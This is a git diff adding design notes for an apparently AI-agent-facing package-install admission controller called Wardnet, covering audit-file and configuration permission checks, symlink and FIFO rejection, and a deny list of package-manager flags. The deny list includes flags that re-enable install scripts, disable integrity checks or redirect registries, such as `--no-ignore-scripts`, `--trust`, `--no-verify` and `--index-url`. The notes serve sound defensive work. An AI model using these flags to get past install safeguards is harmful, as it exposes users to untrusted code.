+ +## References + +MITRE. (2026). *CWE-62: UNIX hard link* (CWE List Version 4.20). Common Weakness Enumeration. https://cwe.mitre.org/data/definitions/62.html + +National Institute of Standards and Technology. (2020). *Security and privacy controls for information systems and organizations* (NIST Special Publication 800-53, Revision 5). U.S. Department of Commerce. https://doi.org/10.6028/NIST.SP.800-53r5 + +Kerrisk, M. (Ed.). (2026). *inode(7) — Linux manual page*. Linux man-pages project. https://man7.org/linux/man-pages/man7/inode.7.html + +Kerrisk, M. (Ed.). (2026). *link(2) — Linux manual page*. Linux man-pages project. https://man7.org/linux/man-pages/man2/link.2.html diff --git a/docs/doctoring/agent-artifact-admission-audit-storage-permissions.md b/docs/doctoring/agent-artifact-admission-audit-storage-permissions.md new file mode 100644 index 00000000..40770853 --- /dev/null +++ b/docs/doctoring/agent-artifact-admission-audit-storage-permissions.md @@ -0,0 +1,56 @@ +# Agent Artifact Admission audit-storage permission authority + +Status: Proposed implementation evidence for issue #256 / PR #257. This document does not widen Wardnet into execution isolation, outbound transport enforcement, Agent/LLM orchestration, or static package analysis. + +## Problem and exact evidence + +Wardnet's Agent Artifact Admission persists minimized security decisions to an append-only NDJSON file before returning an admission result. At canonical parent `eec36424a2a4cd3e08e6ab61af1e112e387f2ac4`, the Linux file sink opened its target with `O_NOFOLLOW | O_NONBLOCK`, `O_APPEND`, `O_CREAT`, and creation mode `0600`, then verified only that the opened descriptor referred to a regular file. + +That creation mode is insufficient authority for an already-existing inode. Linux `open(2)` applies the supplied mode when a file is created; opening an existing regular file does not retroactively narrow its permissions. A pre-existing audit target readable or writable by group/other principals could therefore receive Agent Artifact Admission evidence even though Wardnet had not established exclusive audit-storage authority. + +Test-only exact `b28b72350247729d9a64bf2c9ff2e619b13a5ddd` materialized the hostile RED on hosted Ubuntu 24.04. CI `34456998108`, job `102805608039`, reached the real workspace test suite and failed only the new audit-storage regression: a pre-existing mode `0666` regular file was accepted and appended instead of failing closed. The owner-only `0600` positive control passed. This isolates the defect from runner availability, symlink handling, FIFO handling, serialization, and ordinary append semantics. + +## Authority and constraints + +The affected resource is Wardnet-owned security evidence. The record carries actor, workspace, artifact identity, policy revision and admission decision metadata. Its confidentiality and integrity therefore cannot depend on an operator having manually repaired filesystem mode bits before process start. + +The repair must preserve the existing single-open property. A pathname metadata check followed by a later open would reintroduce a time-of-check/time-of-use interval. A post-open `chmod` is also rejected: silently mutating externally provisioned storage would hide deployment drift, can surprise storage ownership policy, and is not needed to establish a fail-closed admission boundary. + +`quarantine-sandbox-runtime` remains authoritative for hostile execution/isolation and effective runtime environment; EgressWeave remains authoritative for executable outbound transport; `contextual-orchestrator` remains authoritative for Agent/LLM orchestration; AppGuardrail remains authoritative for static package/security analysis. This change governs only Wardnet's own file-backed admission evidence sink. + +## Decision + +On Linux, retain the existing `O_NOFOLLOW | O_NONBLOCK | O_APPEND` acquisition and `0600` creation mode. Immediately after the single open and before any record write, inspect metadata from that same descriptor. The descriptor is admissible only when it is a regular file and `mode & 0o077 == 0`. Any group/other read, write or execute permission fails closed as storage unavailable. An already-existing owner-only `0600` file remains valid, and a newly created target remains `0600` subject to the process umask. + +The implementation does not call `chmod`, does not replace the path, does not follow a second pathname lookup, and does not weaken the existing symlink/FIFO/special-file controls. Platforms without Wardnet's tested native file-authority contract continue to fail closed rather than claiming equivalent ACL semantics. + +## Alternatives considered + +Allowing group-readable `0640` or world-readable `0644` was rejected because the persisted record contains security decision and actor/workspace metadata, not public telemetry. Allowing group-writable storage was rejected because another principal could alter the evidence stream. Automatically tightening permissions with `chmod` was rejected because it conceals unsafe deployment state and changes external resource policy. Path-based preflight metadata was rejected because a second open would break the existing same-descriptor authority invariant. + +## Security and operational effect + +The selected invariant converts unsafe pre-existing storage from an implicit trust assumption into an explicit startup/write-time failure. This is intentionally availability-sacrificing: an insecure audit target prevents durable evidence and therefore prevents an admission response from being treated as successful. Operators receive the existing non-secret storage failure rather than path, payload or credential material. + +The change does not prove filesystem-owner identity, immutable storage, remote log retention, SIEM ingestion, or production retention policy. Those remain separate controls. Future support for richer ACLs or non-Linux platforms requires a separately tested native authority model rather than weakening this Unix mode-bit contract. + +## Acceptance + +The exact repaired head must demonstrate all of the following on hosted Linux before integration: + +- pre-existing regular files with representative group/other permission bits such as `0666`, `0640`, and `0604` are rejected without appending bytes; +- a pre-existing owner-only `0600` regular file remains appendable; +- newly created audit storage remains owner-only; +- existing symlink, FIFO, special-file, bounded-record, flush and `sync_data` behavior remains intact; +- exact-head CI and fuzz gates are terminal green, with no unresolved valid review finding; +- the entire RED, causal source delta, tests and evidence are transferred into canonical Agent Artifact Admission PR #129 or a verified successor by ordinary non-force integration. + +## Traceability + +National Institute of Standards and Technology. (2020). *Security and privacy controls for information systems and organizations (NIST Special Publication 800-53 Rev. 5)*. https://doi.org/10.6028/NIST.SP.800-53r5 — AU-9 requires protection of audit information and audit logging tools from unauthorized access, modification, and deletion. + +National Institute of Standards and Technology. (2024). *Protecting controlled unclassified information in nonfederal systems and organizations (NIST Special Publication 800-171 Rev. 3)*. https://doi.org/10.6028/NIST.SP.800-171r3 — requirement 03.03.08 maps to AU-9 protection of audit information. + +MITRE. (2026). *CWE-732: Incorrect Permission Assignment for Critical Resource (CWE 4.20)*. https://cwe.mitre.org/data/definitions/732.html — overly broad permissions on security-critical resources permit unintended read or modification; insecure resource permissions should be rejected or constrained deliberately. + +Linux man-pages project. (2026). *open(2) — Linux manual page*. https://man7.org/linux/man-pages/man2/open.2.html — `O_NOFOLLOW` rejects a trailing symbolic link, `O_NONBLOCK` avoids blocking semantics where applicable such as FIFOs, and the `mode` argument governs creation permissions rather than retroactively constraining an already-existing inode. diff --git a/docs/doctoring/agent-artifact-admission-configuration-integrity.md b/docs/doctoring/agent-artifact-admission-configuration-integrity.md new file mode 100644 index 00000000..b093d2e7 --- /dev/null +++ b/docs/doctoring/agent-artifact-admission-configuration-integrity.md @@ -0,0 +1,49 @@ +# Agent Artifact Admission configuration-file integrity + +## Decision under review + +Wardnet treats the Agent Artifact Admission configuration as policy authority, not as a secret. The file contains the reviewed policy revision, executable allowlist, workspace-manifest digests, and exact artifact coordinates. Read-only group or other visibility therefore does not change admission authority, but group or other write authority does: an unintended writer could replace an approved digest, artifact coordinate, or executable and thereby alter the result of a later admission decision. + +Credentials are a separate authority-bearing input. Their confidentiality and integrity both matter because the document carries the admission endpoint bearer token. A filesystem pathname is not itself sufficient evidence that either policy or credential bytes came from the intended local object. + +## Descriptor-bound acquisition + +On Linux, both loaders now use one read-only open with `O_NOFOLLOW | O_NONBLOCK`, then inspect the resulting descriptor before materializing bytes. A final symbolic link is therefore rejected by the open operation rather than followed. A FIFO can be opened for inspection without waiting for a writer, after which Wardnet rejects it because the opened descriptor is not a regular file. Other special-file types are rejected by the same regular-file invariant. + +This order is deliberate. POSIX.1-2024 specifies that `O_NOFOLLOW` causes `open()` to fail when the final pathname component is a symbolic link and that a read-only FIFO opened with `O_NONBLOCK` returns without waiting for a writer. The same standard notes that no-follow behavior avoids races in which a pathname is substituted with a symbolic link to a sensitive object. MITRE CWE-59 classifies security-sensitive link following as improper link resolution before file access and identifies confidentiality, integrity and access-control consequences. + +After the descriptor is acquired, the policy loader rejects any group/other write bit (`mode & 0o022 != 0`) as `ConfigError::InvalidConfiguration`. This intentionally permits read-only modes such as `0644` while rejecting policy-mutation authority such as `0664` or `0666`. The credential loader is stricter and rejects any group/other permission bit (`mode & 0o077 != 0`) because credential confidentiality is itself a requirement. Both checks use metadata from the already-open regular-file descriptor. + +The same-open-handle sequence also preserves the earlier TOCTOU decision. A path-level permission or file-type check followed by a separate open would create a check/use interval in which the pathname could resolve to a different object. Dean and Hu (2004) formalize this class of filesystem race, while Borisov et al. (2005) show why probabilistic attempts to make such races difficult do not provide a sound authority boundary. Wardnet therefore does not add a pathname pre-check as a substitute for descriptor-bound acquisition. + +On targets other than Linux, this version fails closed because Wardnet has not defined and tested an equivalent no-follow, nonblocking open plus native ACL authority contract. The file-backed audit sink already follows the same compatibility boundary. Adding another platform is a separate compatibility increment and must preserve equivalent link, special-file, permission and bounded-read guarantees rather than silently weakening them. + +## Executable acceptance contract + +`config_file_permissions_contract.rs` creates one valid configuration, applies safe and unsafe Linux modes to the same fixture, and calls the public loader. Safe modes `0600`, `0640`, `0644`, and `0400` must load. Unsafe modes `0660`, `0606`, `0664`, `0646`, and `0666` must return exactly `ConfigError::InvalidConfiguration`; accepting any of them, or failing for a generic JSON reason, does not satisfy the security contract. + +`local_file_authority_contract.rs` covers the object-identity boundary independently of permission bits. A mode-`0600` credential target and a mode-`0644` policy target reached only through final symbolic links must both fail closed. Its Linux FIFO helper runs in a child process with a fixed deadline so a regression cannot hang the test job indefinitely; both loaders must reject the FIFO promptly before any attempt to parse it as JSON. + +These tests complement rather than replace the append-only audit-path contracts. The audit sink and the two admission input readers now use the same Linux acquisition properties while retaining different write/read and confidentiality invariants appropriate to their bounded responsibilities. + +## Control mapping and scope + +The permission portion maps directly to CWE-732: a security-critical configuration resource must not be modifiable by unintended actors. The pathname-object portion maps to CWE-59. NIST SP 800-53 Rev. 5 CM-5 requires defined and enforced restrictions on system changes, while AC-6 provides the least-privilege principle for granting only the authorizations required for the task. Here, the smallest enforceable local boundary is: acquire one non-symlink, nonblocking regular-file descriptor; verify the relevant local authority bits on that descriptor; then read only within the fixed byte budget. + +This decision does not add runtime policy mutation, directory-ownership policy, secret distribution, hostile workload execution, reusable egress control, LLM orchestration, or static package analysis. Those remain outside this bounded context. It does not claim immutable storage, signature verification, protection against a malicious privileged filesystem administrator, or a complete cross-platform ACL model. + +The USENIX papers are linked to their publisher copies rather than vendored into this repository. Their published reproduction terms are narrower than an unrestricted software-repository redistribution grant, so the repository preserves citation and traceability without copying the PDFs. + +## References + +Borisov, N., Johnson, R., Sastry, N., & Wagner, D. (2005). Fixing races for fun and profit: How to abuse atime. *14th USENIX Security Symposium*. https://www.usenix.org/conference/14th-usenix-security-symposium/fixing-races-fun-and-profit-how-abuse-atime + +Dean, D., & Hu, A. J. (2004). Fixing races for fun and profit: How to use access(2). *13th USENIX Security Symposium*. https://www.usenix.org/conference/13th-usenix-security-symposium/fixing-races-fun-and-profit-how-use-access2 + +IEEE & The Open Group. (2024). *open, openat — open file*. In *POSIX.1-2024*. https://pubs.opengroup.org/onlinepubs/9799919799/functions/open.html + +MITRE. (2026). *CWE-59: Improper link resolution before file access ('link following') (CWE 4.20)*. https://cwe.mitre.org/data/definitions/59.html + +MITRE. (2026). *CWE-732: Incorrect permission assignment for critical resource (CWE 4.20)*. https://cwe.mitre.org/data/definitions/732.html + +National Institute of Standards and Technology. (2020). *Security and privacy controls for information systems and organizations* (NIST Special Publication 800-53 Rev. 5). https://doi.org/10.6028/NIST.SP.800-53r5 diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md new file mode 100644 index 00000000..9f80a65b --- /dev/null +++ b/docs/doctoring/agent-artifact-admission.md @@ -0,0 +1,135 @@ +# Agent Artifact Admission research and standards traceability + +Verified 2026-09-03. This note records the primary sources that justify the admission controller's trust boundary. It does not claim certification or conformance beyond the tests and controls present in Wardnet. + +## Decision trace + +| Wardnet control | External basis | Local evidence | +| --- | --- | --- | +| Treat model/web/tool text as untrusted input, not execution authority | NIST SP 800-218A extends SSDF practices to generative-AI systems and their development lifecycle | Issue #128 threat model; `InstallIntent` must independently satisfy policy | +| Require reviewed, exact artifact identity and digest | NIST SSDF 1.1 emphasizes protecting software and verifying integrity; SLSA 1.2 formalizes provenance/verified properties | `ApprovedArtifact`, exact version/registry/owner/SHA-256 matching | +| Bind the submitted package-manager executable to the reviewed artifact ecosystem | npm documents `@` install operands and Cargo documents `crate[@version]`; the same token shape therefore cannot establish which registry ecosystem an approval authorizes | `artifact_ecosystem_matches_executable`; `ecosystem_binding_contract.rs` cross-ecosystem RED plus same-ecosystem Cargo control | +| Keep provenance provider schemas outside the domain model | SLSA, Sigstore and TUF have independent schemas, trust roots and lifecycle rules | ADR-0012 and DDD architecture fitness test require adapters/ACLs | +| Bind an allow decision to immutable reviewed policy | TUF's signed metadata model and SLSA source/build provenance both separate producer evidence from consumer verification policy | immutable v0.1 `AdmissionPolicy`; deny-all default | +| Do not infer publisher trust from registry presence | Sigstore verifies signing identity, certificate trust and Rekor inclusion; registry naming alone is not that evidence | exact reviewed owner is a local policy assertion, not an inferred identity | +| Audit before returning allow; fail closed on audit outage | SSDF supply-chain controls require protected evidence and traceable release/security practices; append-before-response prevents an unaudited authorization gap | `append_before_response`; `audit_unavailable` => block/503 | +| Structured argv; no shell command strings or runtime evaluation | SSDF least-functionality and secure-development principles; removes a command-injection interpretation layer | command-shape invariants in `policy.rs` | +| Reject alternate pip package sources and install roots | pip 26.2.1 documents `-i`/`--index-url` and `-f`/`--find-links` as package-source controls and `-t`/`--target`, `--root`, and `--prefix` as installation-location controls | `requests_alternate_trust_root`, `requests_alternate_install_root`, and attached-short-option hostile regressions | +| Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | +| Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | +| Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | +| Reject pnpm working-directory, workspace-scope and dotted runtime-config overrides | pnpm's current CLI source defines global `--dir` / `-C`, filter/recursive/workspace-root selectors, and pre-clap `--config.=` extraction that layers recognized installation-affecting settings onto runtime `Config` | `requests_alternate_install_root`; `requests_alternate_trust_root`; `pnpm_directory_selection_cannot_escape_the_broker_selected_workspace`; `pnpm_scope_escape_contract.rs`; `pnpm_config_override_contract.rs` | +| Reject Yarn Classic workspace-root escape overrides | Yarn Classic documents `yarn add ... --ignore-workspace-root-check` / `-W` as allowing installation at the workspaces root, widening the broker-selected package scope | `requests_alternate_install_root`; `yarn_workspace_root_contract.rs` | +| Reject Bun working-directory, workspace-filter and explicit-config overrides | Bun documents `--cwd` as changing the working directory, `--filter` / `-F` as selecting monorepo packages for `bun install`, and `--config` as selecting a `bunfig.toml`; Bun configuration can replace the default or scoped package registry | `requests_alternate_install_root`, `requests_alternate_trust_root`, and `bun_scope_escape_contract.rs` | +| Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | +| Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | + +## Current status of referenced standards + +### NIST SSDF + +NIST SP 800-218, *Secure Software Development Framework (SSDF) Version 1.1*, remains the current final base SSDF publication. NIST SP 800-218 Rev. 1 / SSDF 1.2 was released as a draft on 2025-12-17 and is still listed by NIST as Draft as of this verification. Wardnet therefore treats 1.1 as binding guidance and 1.2 as informative until finalized. + +NIST SP 800-218A, *Secure Software Development Practices for Generative AI and Dual-Use Foundation Models: An SSDF Community Profile*, is final (July 2024) and augments SSDF 1.1 for producers and acquirers of AI systems. It is relevant here because the threat originates when an AI-assisted development system converts untrusted information into software-development actions. + +### SLSA + +SLSA version 1.2 is the current Approved specification. It includes Source and Build tracks and recommended attestation formats. Wardnet does not claim a SLSA level merely because it checks digests; instead it can consume verified provenance properties through a future adapter and apply local admission policy to those properties. + +### The Update Framework + +The TUF specification page lists v1.0.33 as latest at verification time. TUF's metadata and role model are external trust evidence. A future TUF integration belongs in an adapter that translates verified target metadata into the minimum facts needed by the admission policy. + +### Sigstore + +Sigstore's verification flow validates an artifact signature, the signing identity bound into the certificate, the certificate chain/trust root, and Rekor transparency-log evidence. That makes it suitable as a future external publisher/integrity authority. Wardnet must not reduce those semantics to a registry-owner string or silently copy Sigstore DTOs into the domain kernel. + +### Package-manager executable and ecosystem identity + +An approved argv token is not by itself a package-registry identity. npm documents package install operands such as `name@version`; Cargo's current `cargo install` synopsis independently accepts `crate[@version]`. A reviewed token such as `ripgrep@1.2.3` can therefore be syntactically meaningful to both package managers while naming artifacts from different registries, publisher namespaces, and byte streams. Wardnet binds the executable family to the declared artifact ecosystem before exact artifact matching: npm-family commands may authorize only `npm`, pip/uv pip only `pypi`, Cargo only `cargo`, and Docker/Podman pulls only `oci`. The executor still verifies retrieved bytes/provenance; this admission check prevents an approval from being reinterpreted across ecosystems before execution. + +### pip command trust and installation roots + +The current stable pip 26.2.1 command reference defines `-i`/`--index-url` and `-f`/`--find-links` as inputs that change where package candidates are obtained. It also defines `-t`/`--target`, `--root`, and `--prefix` as controls that redirect where installation output is placed. Those are capability-expanding inputs relative to a reviewed artifact/registry/workspace intent, so Wardnet rejects them rather than silently widening an approved install. The parser recognizes both the documented short-option identity and attached short-option values; the latter is treated fail-closed because otherwise a short spelling can evade a policy that already forbids its long-form capability. + +### uv package indexes and install environments + +uv's package-index documentation states that command-line indexes take precedence over configured indexes and exposes `--index` and `--default-index` as index-selection controls. Its environment documentation states that `uv pip install --python /path/to/python` can install into an arbitrary environment and that `--system` opts into modifying system Python. Those controls change the trust root or destination selected by the broker-reviewed install intent. Wardnet therefore blocks them instead of assuming that an approved artifact coordinate is sufficient after the submitted command changes where candidates are obtained or where they are installed. + +### Cargo package sources and install configuration + +Cargo's `cargo install` documentation states that crates.io is the default package source while `--git`, `--path`, and `--registry` change that source; it separately exposes `--index` as a registry-index URL. The same command defines install-root precedence through `--root`, `CARGO_INSTALL_ROOT`, `install.root`, `CARGO_HOME`, then the default Cargo home, and Cargo's common options define `--config KEY=VALUE or PATH` as a command-line configuration override. Wardnet therefore rejects submitted source selectors (`--git`, `--path`, `--registry`, `--index`), `--root`, and `--config`: the reviewed artifact coordinate and destination remain the admission authority instead of being silently replaced by command arguments. The executor or quarantine runtime may establish controlled Cargo configuration outside this submitted argv boundary. + +### npm workspace and command safety + +npm's current workspace documentation defines workspaces as nested packages in the local filesystem and shows that install commands respect workspace selection. The `workspace` option can name a workspace, point at a workspace directory, or point at a parent directory that selects nested workspaces; `workspaces` enables the command across all configured workspaces. Those selectors change the submitted command's filesystem/package scope relative to the broker-selected workspace intent, so Wardnet rejects `--workspace`, `--workspace=...`, `--workspaces`, and the enabled `--workspaces=true` spelling instead of allowing an approved artifact to authorize writes across a caller-selected workspace set. + +npm also documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. + +### pnpm working-directory, workspace-scope and runtime-config authority + +pnpm's current CLI source declares `dir` as a global option with short alias `-C`, long spelling `--dir`, legacy alias `prefix`, and documentation that it sets the working directory and is accepted anywhere on the command line. The current dispatch code then resolves `.npmrc` and `pnpm-workspace.yaml` from the canonicalized `--dir` rather than from the process working directory. A submitted `pnpm add` that carries `--dir` or `-C` can therefore move both project scope and project-local configuration outside the broker-reviewed workspace even when the artifact operand itself is approved. + +The same current CLI surface exposes global `--filter` / `-F`, `--filter-prod`, `--workspace-root` / `-w`, `--recursive` / `-r`, and `--include-workspace-root`. The source comments describe filter selectors as choosing workspace projects by name/path/dependency/change query, workspace-root as running on the root project, and include-workspace-root as adding the root to recursive `add` execution. Those flags change the set of projects an approved install can mutate. Wardnet therefore maps those selectors, along with `--dir` / `-C`, to `alternate_install_root`. + +pnpm also extracts `--config.=` tokens before clap parses argv and applies recognized values after file-based configuration. Its `ConfigOverrides` source explicitly includes installation-affecting settings such as `registry`, `global_dir`, `modules_dir`, `virtual_store_dir`, `ignore_scripts`, trust policy, and proxy settings, while unknown keys are accepted so future pnpm configuration can evolve. That is an intentionally open-ended runtime-configuration authority that the admission controller cannot safely reproduce as a finite allowlist. Submitted pnpm dotted config therefore fails closed as `alternate_trust_root`; a trusted execution broker may establish controlled pnpm configuration outside the untrusted install argv boundary. + +### Yarn Classic workspace-root override + +Yarn Classic's `yarn add` reference documents `--ignore-workspace-root-check` and its `-W` alias as allowing a package to be installed at the workspaces root. Wardnet's artifact-admission policy treats the reviewed workspace scope as part of the authorization boundary, so a caller may not use either flag to widen a reviewed package installation from the broker-selected workspace to the root workspace. Both spellings therefore map to `alternate_install_root`. Wardnet does not attempt to infer a Yarn major version from argv; supporting a generic `yarn` executable means the admission boundary must remain safe for the documented Yarn Classic spelling unless a future versioned package-manager capability contract narrows that surface. + +### Bun working directory, workspace filters and configuration + +Bun's current `bun install` CLI reference exposes `--cwd` to select a working directory and `--config` to select a `bunfig.toml`. Bun's package-filter documentation states that `--filter`, with `-F` as an alias, selects packages by name or path pattern in a monorepo and is supported by `bun install`. These inputs can move an otherwise approved package installation into a caller-selected workspace scope. + +A Bun configuration file is also security-relevant to artifact identity. Bun's registry documentation allows `install.registry` to replace the default package registry and `install.scopes` to configure per-scope private registries. Wardnet therefore rejects caller-supplied Bun `--config` rather than allowing submitted argv to select a second registry authority outside the reviewed artifact coordinate. It rejects `--cwd`, `--filter`, and `-F` as `alternate_install_root` because the broker-selected workspace remains part of admission authority. This does not claim control of Bun's ambient process environment; the execution broker/quarantine boundary must establish a controlled environment before executing an admitted intent. + +## APA 7 references + +Astral Software, Inc. (2026). *Package indexes: uv documentation.* https://docs.astral.sh/uv/configuration/indexes/ + +Astral Software, Inc. (2026). *Using environments: uv documentation.* https://docs.astral.sh/uv/pip/environments/ + +Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A + +Bun. (n.d.). *bun install.* Retrieved September 3, 2026, from https://bun.sh/docs/pm/cli/install + +Bun. (n.d.). *Scopes and registries.* Retrieved September 3, 2026, from https://bun.sh/docs/pm/scopes-registries + +National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 + +National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications + +npm, Inc. (2026). *Config: ignore-scripts.* https://docs.npmjs.com/using-npm/config/ + +npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ + +npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ + +pip developers. (2026). *pip install: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/cli/pip_install/ + +pnpm contributors. (2026). *CLI command arguments: working-directory and workspace-selection options* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/cli_command.rs + +pnpm contributors. (2026). *CLI dispatch: configuration resolution from the selected directory* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/cli_args/dispatch.rs + +pnpm contributors. (2026). *CLI configuration override parser* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/config_overrides.rs + +pnpm contributors. (2026). *CLI startup and dotted configuration extraction* [Source code, commit dc44db593500193cdb499769fac8f173fe25e501]. GitHub. https://github.com/pnpm/pnpm/blob/dc44db593500193cdb499769fac8f173fe25e501/pnpm/crates/cli/src/lib.rs + +Rust Project Developers. (2026). *cargo install: The Cargo Book.* https://doc.rust-lang.org/stable/cargo/commands/cargo-install.html + +Rust Project Developers. (2026). *Configuration: The Cargo Book.* https://doc.rust-lang.org/cargo/reference/config.html + +SLSA Community. (2025). *SLSA specification: Version 1.2.* https://slsa.dev/spec/v1.2/ + +Sigstore. (2026). *Overview.* https://docs.sigstore.dev/ + +Sigstore. (2026). *Security model.* https://docs.sigstore.dev/about/security/ + +The Update Framework. (2026). *Specification.* https://theupdateframework.io/spec/ + +Yarn Contributors. (2026). *yarn add: Yarn Classic documentation.* https://classic.yarnpkg.com/lang/en/docs/cli/add/ + +## Evidence limitations + +Exact SHA-256 equality detects byte changes but does not establish publisher identity, build integrity or source review. An allow receipt is consequently a Wardnet policy decision, not a general authenticity certificate. Remote attestation, transparency-log verification and metadata freshness/rollback protection remain future adapter responsibilities and must fail closed when introduced. diff --git a/docs/doctoring/bun-trust-authority.md b/docs/doctoring/bun-trust-authority.md new file mode 100644 index 00000000..413380af --- /dev/null +++ b/docs/doctoring/bun-trust-authority.md @@ -0,0 +1,29 @@ +# Bun trust and integrity authority in Agent Artifact Admission + +## Decision + +Wardnet treats Bun's `--trust` install flag as an admission-time trust-authority mutation, not as ordinary package-manager argument detail. An otherwise approved command such as `bun install @cwl/example@1.2.3 --ignore-scripts --trust` must fail closed with `alternate_trust_root`. + +The immediate `--ignore-scripts` flag suppresses lifecycle scripts for that invocation, but it does not make `--trust` harmless. Bun documents `--trust` as adding the package to `trustedDependencies` in the project's `package.json`. Bun also documents `trustedDependencies` as the allow list that permits dependency lifecycle scripts to execute on later installs. Therefore accepting `--trust` would allow one admitted request to persistently widen future code-execution authority beyond the reviewed `ApprovedArtifact` contract. + +Wardnet also rejects Bun's `--no-verify` option. Bun documents this option as skipping integrity verification of newly downloaded packages. An admission policy that binds an exact artifact SHA-256 must not authorize the caller to disable a package-manager integrity control on the same install path. The downstream execution broker/quarantine path still independently verifies retrieved bytes; retaining Bun's native integrity verification is defense in depth rather than a transfer of runtime-isolation ownership. + +Wardnet does not own Bun's package lifecycle policy and does not try to model or rewrite `package.json`. It prevents callers from changing persistent trust or disabling integrity verification through an admitted command. The execution broker and quarantine runtime remain responsible for independently verifying retrieved bytes and enforcing filesystem, process, mount and network isolation. + +## TDD evidence + +- RED `e88429e37f5c4680e061a93941436ce90224143c`: `bun_trust_authority_contract.rs` requires an approved Bun install that appends `--trust` to be blocked as `alternate_trust_root`. +- Causal repair `8f7c4775822f40f9bdbe1773281ef5ab2125650a`: `requests_alternate_trust_root` rejects Bun `--trust` through the same bounded CLI-flag parser used for other trust-root selectors. +- RED `af3341e533d89423f00a0a749343286e694bd4b6`: `bun_integrity_verification_contract.rs` requires `--no-verify` to block rather than disable Bun's registry integrity verification. +- Causal repair `26eca37817f91b8537ff9e33216059b2bb8925d3`: Bun safety validation treats `--no-verify` as an explicit failure of the mandatory hardening baseline and emits `missing_safety_flag`. +- Exact-head execution remains fail-closed/non-passing until the repository runner acquires the current head and executes both regressions; predecessor workflow results do not satisfy this evidence requirement. + +## Primary-source traceability + +Bun's current package-manager documentation states that lifecycle scripts are arbitrary code and that installed dependencies run them only when trusted. The `trustedDependencies` field is the project allow list for that behavior. The `bun install` CLI contract states that `--trust` adds packages to `trustedDependencies` in `package.json`, while `--ignore-scripts` skips lifecycle scripts for the current install. The same CLI contract states that `--no-verify` skips integrity verification of newly downloaded packages. These controls affect distinct authorities: immediate script execution, persistent future script trust, and downloaded-package integrity. + +### References + +Bun Contributors. (2026). *bun install*. Bun documentation. https://bun.com/docs/pm/cli/install + +Bun Contributors. (2026). *Lifecycle scripts*. Bun documentation. https://bun.com/docs/pm/lifecycle diff --git a/docs/doctoring/cargo-install-artifact-version-authority.md b/docs/doctoring/cargo-install-artifact-version-authority.md new file mode 100644 index 00000000..263457a2 --- /dev/null +++ b/docs/doctoring/cargo-install-artifact-version-authority.md @@ -0,0 +1,30 @@ +# Cargo install artifact-version authority + +Verified 2026-09-04 against the current Cargo Book. This note records the narrow evidence behind Wardnet's Agent Artifact Admission rule for Cargo installs; it does not make Wardnet a Cargo resolver or execution authority. + +## Problem + +`InstallIntent.artifacts` and `AdmissionPolicy.approved_artifacts` already carry an exact reviewed Cargo package name, version, registry, owner, SHA-256, and argv operand. Cargo independently permits version selection through both `crate@version` operands and `--vers` / `--version`. If Wardnet accepted a bare crate operand plus a caller-selected version flag, or accepted `crate@other-version` while the reviewed coordinate named another version, the executable could select artifact bytes outside the reviewed identity even though the policy object still reported the approved version. + +## Decision + +For the current Cargo admission profile: + +- the artifact operand must be exactly `name@version` for the reviewed Cargo coordinate; +- caller-supplied `--vers` and `--version` are rejected as unapproved artifact-identity selectors; +- source, feature, target, profile, binary/example, install-root, and inline-config selectors remain separately fail-closed under their existing controls; +- Wardnet still does not fetch, build, install, or verify retrieved crate bytes. The executor remains responsible for digest/provenance verification before execution. + +This is intentionally narrower than reproducing Cargo's resolver. The admission boundary compares a submitted capability to reviewed authority and rejects alternate selection authority. + +## RED → GREEN evidence + +RED `4484acd2f7c9609ab16ddc68a748cac6cd49b51d` added hostile cases demonstrating that a reviewed `1.2.3` coordinate could otherwise be paired with `--version=9.9.9`, `--vers=9.9.9`, or a mismatched `crate@9.9.9` operand. The production repair in the current lineage routes these conditions through the existing `artifact_not_approved` 